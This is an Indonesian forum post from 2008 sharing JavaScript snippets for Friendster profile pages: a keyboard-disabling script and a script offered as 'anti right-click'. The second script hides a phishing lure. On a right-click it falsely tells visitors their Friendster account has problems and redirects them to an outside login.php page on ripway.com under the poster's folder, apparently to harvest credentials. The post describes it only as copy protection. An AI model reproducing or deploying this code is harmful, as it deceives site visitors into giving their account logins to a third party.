[spoiler]/*===========================*/
//Disable KeyBoard
function keypressed() {
alert("KAMU KETAHUAN MAU NGERIP YAHHHH!!!");
}
document.onkeydown=keypressed;
// End -->[/spoiler]
code diatas adalah code untuk disable keyboard pada fs
[spoiler]
/============ JS anti klik kanan ================/
var message="Your Friendster account get some problems. You may re-log in now."
function LogTo(link)
{
var new_url=link;
if ( (new_url != "") && (new_url != null) )
window.location=new_url;
}
function nrcIE() {
if (document.all) {
if (event.button == 2) {
alert(message);
LogTo('http://h1.ripway.com/robbinhood/LoginFriendster/login.php')
return false;
}
}
}
function nrcNS(e) {
if(document.layers||(document.getElementById&&!document.all)) {
if (e.which == 2||e.which == 3) {
alert(message);
LogTo('http://h1.ripway.com/robbinhood/LoginFriendster/login.php')
return false;
}
}
}
if (document.layers) {
document.captureEvents(Event.MOUSEDOWN);
document.onmousedown=nrcNS;}
else {
document.onmouseup=nrcNS;document.oncontextmenu=nrcIE;}
document.oncontextmenu=new Function("return false");[/spoiler]
dan mungkin code diatas juga bisa membantu untuk anti klik kanan
Last edited by robbinhood (2008-06-20 11:03:30)